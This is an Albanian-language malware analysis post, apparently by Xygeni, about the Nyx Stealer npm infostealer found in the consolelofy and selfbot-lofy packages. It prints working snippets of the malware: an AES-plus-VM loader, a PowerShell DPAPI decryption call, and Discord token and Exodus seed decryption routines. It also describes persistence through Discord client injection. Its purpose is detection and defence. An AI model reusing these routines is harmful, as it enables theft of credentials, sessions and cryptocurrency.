TL; DR
Ekipi i Kërkimit të Sigurisë Xygeni identifikoi një fushatë të sofistikuar vjedhëse informacioni npm të ofruar përmes dy paketave dashakeqe: consolelofy selfbot-lofy.
Versioni më i fundit (consolelofy@1.3.0) përfshin një ngarkesë të enkriptuar me AES prej 216KB që dekripton në kohën e ekzekutimit dhe ekzekutohet nëpërmjet vm.runInNewContext()Meqenëse logjika keqdashëse është plotësisht e enkriptuar, skanerët statikë që mbështeten në inspektimin e vargut nuk mund ta vëzhgojnë sjelljen e saj deri në kohën e ekzekutimit.
Pasi të deshifrohet, ngarkesa, e markuar në mënyrë të brendshme Nyx Stealer, caqet:
- Shenjat e vërtetimit të Discord
- Mbi 50 dyqane kredencialesh shfletuesish
- Mbi 90 zgjerime të portofolit të kriptomonedhave
- Sesione në Roblox, Instagram, Spotify, Steam, Telegram dhe TikTok
- Përhershmëria e klientit të desktopit Discord
Të 20 versionet në të dy paketat u raportuan dhe u konfirmuan si keqdashëse.
Përmbledhje Teknike e këtij npm Infostealer
Ndryshe nga programet keqdashëse tradicionale që instalohen në kohën e instalimit, kjo fushatë mbështetet në një Runtime modeli i deshifrimit.
Atje jane:
- Pa qëllim të keq
preinstallorpostinstallhooks - Asnjë thirrje e dukshme e rrjetit në kohën e instalimit
- Asnjë logjikë e mbledhjes së kredencialeve me tekst të thjeshtë
Ngarkesa aktivizohet kur moduli importohet. I gjithë trupi keqdashës është i enkriptuar dhe materializohet në memorie vetëm gjatë kohës së ekzekutimit.
Ky dizajn shmang posaçërisht zbulimin gjatë instalimit të paketës.
Si funksionon në të vërtetë ky vjedhës informacioni npm
Para se të analizojmë se çfarë vjedh Nyx Stealer, duhet të kuptojmë si ekzekutohet.
Logjika keqdashëse brenda këtij vjedhësi informacioni npm ndjek një model të qëndrueshëm:
Një ngarkues i vogël dekripton një ngarkesë të madhe të enkriptuar dhe e ekzekuton atë dinamikisht brenda një konteksti të Node.js VM.
Ky dizajn është i qëllimshëm. Sulmuesi nuk po e fsheh funksionalitetin vetëm pas errësirës, ata janë duke hequr plotësisht kodin keqdashës nga dukshmëria statike.
Modeli i Ekzekutimit të Nivelit të Lartë
Në një nivel të lartë, mbështjellësi bën katër gjëra:
- Nxjerr një çelës AES nga një fjalëkalim i koduar fort duke përdorur SHA-256
- Dekripton një tekst të madh të koduar në formë heksadecimal duke përdorur AES-256-CBC
- Ekzekuton JavaScript-in e deshifruar duke përdorur
vm.runInNewContext() - Ofron një sandbox që ende ekspozon primitivë të fuqishëm të kohës së ekzekutimit.
Përmbledhje e Teknikës Bazë
| Komponent | Konfigurimi / Vlera |
|---|---|
| algoritmi | AES-256-CBC |
| Derivimi i çelësit | SHA-256 (fjalëkalim) |
| Vektori i Inicializimit (IV) | 16 bajt të 0x00 |
| Ekzekutim | vm.runInNewContext(i deshifruar, sandbox) |
Në mënyrë kritike, sandbox kalon nëpër:
requireprocessBuffer- kohëmatës
- eksportet e modulit
Kjo do të thotë që ngarkesa e deshifruar ruan aftësinë e plotë për të:
- Proceset e krijimit
- Lexoni dhe shkruani skedarë
- Kryej thirrje rrjeti
- Modifiko aplikacionet lokale
Kjo nuk është një VM e kufizuar. Është një VM që përdoret si një trampoline ekzekutimi.
Modeli i Enkriptimit në Kohën e Ekzekutimit (Mekanizmi i Ekzekutimit Bërthamë)
Ngarkuesi është i vogël.
Trupi keqdashës nuk është.
Më poshtë është modeli i ekzekutimit që gjendet brenda paketës:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Pse ky Çështjet
Ngarkesa e deshifruar:
- A nuk ekzistojnë në tekst të thjeshtë brenda paketës npm
- Është e padukshme për të thjeshtën
grepose skanim statik i vargut - Materializohet në kujtesë vetëm gjatë kohës së ekzekutimit
- Ekzekuton me aftësi të plota të kohës së ekzekutimit të Node.
Ky kombinim ekzekutimi AES + VM është një tregues i fortë i sjelljes së një vjedhësi i informacionit npm përpiqet të shmangë inspektimin statik.
Me fjale te tjera:
Nëse skanoni pemën burimore të paketave, nuk do të shihni ndonjë vjedhës.
Ju shikoni një deshifrues.
Çfarë ndodh pas deshifrimit
Pasi ekzekutohet, Nyx Stealer nis valë paralele të mbledhjes së të dhënave.
Vala 1: Nxjerrja e kredencialeve të shfletuesit
Malware-i:
- Shkarkon një runtime Python nga NuGet CDN
- Instalon biblioteka kriptografike
- Ekstrakton dyqanet e kredencialeve me bazë kromi
- Dekripton sekretet e mbrojtura nga DPAPI
Në vend që të përpilojë lidhjet native, ai përdor PowerShell për të thirrur drejtpërdrejt DPAPI-n e Windows.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Kjo qasje:
- Shmang artefaktet e kompilimit
- Përdor API-të e kriptos vendase të Windows
- Përzihet me mjetet administrative
Është deshifrim i kredencialeve në nivel sistemi operativ, jo mbledhje të të dhënave.
Vala 2: Dekriptimi i Tokenit të Discord
Vjedhësi është i vetëdijshëm për protokollin. Ai e kupton formatin e koduar të tokenit të Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Rrjedha operative:
- Nxjerr çelësin kryesor nga Discord
Local State - Dekripto çelësin kryesor nëpërmjet DPAPI-t
- Dekripto blob-et e token-it AES-GCM
- Validoni tokenët kundrejt Discord API
- Pasurojeni me Nitro, distinktivë, informacion faturimi
Ky nuk është hedhje gjenerike e kredencialeve. Është rrëmbim sesioni i vetëdijshëm për protokollin.
Vala 3: Targetimi i Portofolit të Kriptomonedhave
Vjedhësi i informacionit npm numëron:
- Mbi 90 zgjerime të portofolit të shfletuesit
- 27 portofolë desktopi
- Shtigjet e portofolit të ftohtë
- Skedarët e farës së Exodus
Shembull përpjekjeje për deshifrimin e farës:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Nëse ka sukses, komprometimi i portofolit është i menjëhershëm dhe i pakthyeshëm.
Kjo përfaqëson vektorin e fitimit të parave me vlerën më të lartë të fushatës.
Qëndrueshmëria nëpërmjet Injeksionit të Desktopit Discord
Pas mbledhjes së kredencialeve, Nyx Stealer përpiqet të ruajë qëndrueshmërinë duke modifikuar të dhënat lokale. Mosmarrëveshje konsumatorëve.
Target:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Sekuenca operative
Vjedhësi i informacionit kryen hapat e mëposhtëm:
- Përfundon ekzekutimin e proceseve Discord
- Lokalizon variantet e instaluara të Discord (Stable, Canary, PTB)
- Mbishkruan
discord_desktop_core/index.js - Injektohet logjika e webhook-ut të kontrolluar nga sulmuesi
- Rinis Discord-in
Kjo siguron që seancat e ardhshme të Discord të nxjerrin automatikisht tokena të reja të autentifikimit.
Është e rëndësishme të theksohet se kjo qëndrueshmëri nuk mbështetet në detyra të planifikuara ose modifikime të regjistrit. Ajo shfrytëzon modifikimin e kodit në nivel aplikacioni, një qasje më të fshehtë.
Edhe nëse paketa keqdashëse npm hiqet më vonë, klienti Discord mbetet i kompromentuar.
Krahasim Teknik: Selfbot Legjitim kundrejt npm Infostealer
| Komponent | Biblioteka Legjitime | Vjedhësi i informacionit Nyx npm |
|---|---|---|
| Encryption | Asnje | Ngarkesë e plotë e enkriptuar me AES |
| VM në kohë ekzekutimi | Nuk kërkohet | vm.runInNewContext ekzekutim |
| Qasja në kredenciale | Vetëm API-ja e Discord-it | Shfletuesi, portofolet, DPAPI |
| Shkarkime të Jashtme | jo | Runtime i Python nëpërmjet NuGet |
| Këmbëngulje | jo | Injeksion klienti Discord |
| monetization | Automatizimi i robotëve | Rishitja e kredencialeve |
Vetëm shtresa e enkriptimit e ndan këtë fushatë nga një degëzim tipik me burim të hapur.
Një selfbot i ligjshëm i Discord nuk ka arsye të enkriptojë të gjithë bazën e kodit të tij, të aktivizojë PowerShell për të aksesuar DPAPI, të shkarkojë kohëzgjatje të jashtme ekzekutimi ose të modifikojë brendësinë e aplikacioneve desktop. Kur këto aftësi shfaqen brenda një varësie që pretendon të automatizojë ndërveprimet e Discord, mospërputhja arkitekturore bëhet e pamundur të injorohet.
Nga pikëpamja e hetimit, ky vjedhës informacioni npm lë gjurmë në shtresa të shumëfishta. Megjithatë, treguesit më të besueshëm nuk janë URL-të e koduara ose shtigjet specifike të skedarëve, pasi ato mund të ndryshojnë midis versioneve. Në vend të kësaj, sinjalet e qëndrueshme janë strukturore.
Në nivelin e paketës, flamuri i kuq më i fortë është kombinimi i një ngarkese të madhe të enkriptuar dhe një mbështjellësi të dekriptimit në kohën e ekzekutimit që ekzekutohet menjëherë nëpërmjet vm.runInNewContext()Ndërkohë që enkriptimi vetëm nuk është në thelb keqdashës, përdorimi i dekriptimit AES i ndjekur nga ekzekutimi dinamik i VM brenda një pakete shërbimi Discord është shumë i pazakontë.
Në nivelin e hostit, modelet e dyshimta përfshijnë aktivitetin e papritur të dekriptimit të DPAPI, krijimin e procesit nga një kontekst varësie Node.js dhe modifikimin e skedarëve lokalë të aplikacionit që nuk duhet të ndryshohen kurrë nga bibliotekat e palëve të treta. Po kështu, në shtresën e rrjetit, komunikimi dalës në stilin webhook i iniciuar nga një varësi zhvillimi përfaqëson një anomali tjetër domethënëse.
Me fjalë të tjera, sipërfaqja e zbulimit nuk është një tregues i vetëm i kompromentimit. Është korrelacioni i enkriptimit, ekzekutimit në kohën e ekzekutimit, aksesit në kredenciale dhe sjelljes së qëndrueshmërisë që zbulon kërcënimin.
Zbulimi dhe Zbutja me Xygeni
Ky vjedhës informacioni npm u identifikua nga Paralajmërimi i Hershëm për Malware (MEW) i Xygenit nëpërmjet korrelacionit të shtresuar të sjelljes në vend të përputhjes së thjeshtë të nënshkrimit.
Në vend që të kërkojë vargje të njohura keqdashëse, MEW vlerëson anomalitë strukturore në të gjithë pemën burimore. Në këtë rast, zbulimi doli nga konvergjenca e disa sinjaleve: një rutinë e deshifrimit AES e integruar në pikën e hyrjes së modulit, ekzekutim i menjëhershëm brenda një konteksti VM dhe një mospërputhje e qartë e aftësisë me qëllimin.
Është e rëndësishme të theksohet se asnjë nga këto sinjale më vete nuk vërteton qëllim dashakeq. Megjithatë, kur analizohen së bashku, ato ekspozojnë një përpjekje për të fshehur sjelljen e kohës së ekzekutimit. Kjo qasje e shtresuar zvogëlon ndjeshëm pozitivët e rremë, ndërkohë që identifikon kërcënimet e zinxhirit të furnizimit me besim të lartë.
Për më tepër, ky rast ilustron pse vetëm inspektimi në kohën e instalimit është i pamjaftueshëm. Logjika keqdashëse nuk ndodhet në skriptet e ciklit jetësor. Ajo aktivizohet vetëm pasi moduli ngarkohet dhe bëhet e dukshme vetëm pasi të deshifrohet në memorie. Prandaj, mbrojtja efektive kërkon analizë të vetëdijshme për enkriptimin, njohje të modelit të sjelljes dhe monitorim të vazhdueshëm të varësisë përtej ngjarjeve të instalimit.
Heqja e regjistrit është reaktive. Analiza e ndërgjegjshme për kohën e ekzekutimit është parandaluese.
Pse ka rëndësi ky vjedhës informacioni npm
Nyx Stealer përfaqëson një evolucion strukturor në malware-in e bazuar në npm.
Historikisht, shumë paketa keqdashëse mbështeteshin në skripte të dukshme në kohën e instalimit ose në pikat fundore të dukshme të nxjerrjes së kredencialeve. Në të kundërt, kjo fushatë enkripton ngarkesën e saj, e shtyn ekzekutimin në kohën e ekzekutimit, shfrytëzon API-të legjitime të sistemit operativ dhe krijon qëndrueshmëri brenda aplikacioneve të besuara.
Si pasojë, sulmuesi nuk ka nevojë të shfrytëzojë vetë infrastrukturën npm. Në vend të kësaj, sulmi ka sukses sepse instalimi i varësisë nënkupton besim. Zhvilluesit supozojnë se importimi i një biblioteke është një operacion i sigurt, veçanërisht kur ajo paraqitet si një degëzim i besueshëm i një mjeti të njohur.
Ndërsa ekosistemet vazhdojnë të rriten dhe të shumohen degët, ai kufi i besimit implicit bëhet një sipërfaqe sulmi gjithnjë e më tërheqëse. Prandaj, mbrojtja kundër vjedhësve modernë të informacionit npm kërkon njohjen e modeleve arkitekturore në vend të kërkimit të vargjeve statike.
Në fund të fundit, kjo fushatë përforcon një mësim të rëndësishëm në software supply chain securityKërcënimet më të rrezikshme nuk janë ato që duken keqdashëse në shikim të parë, por ato që duken strukturisht legjitime derisa koha e ekzekutimit të zbulojë sjelljen e tyre të vërtetë.




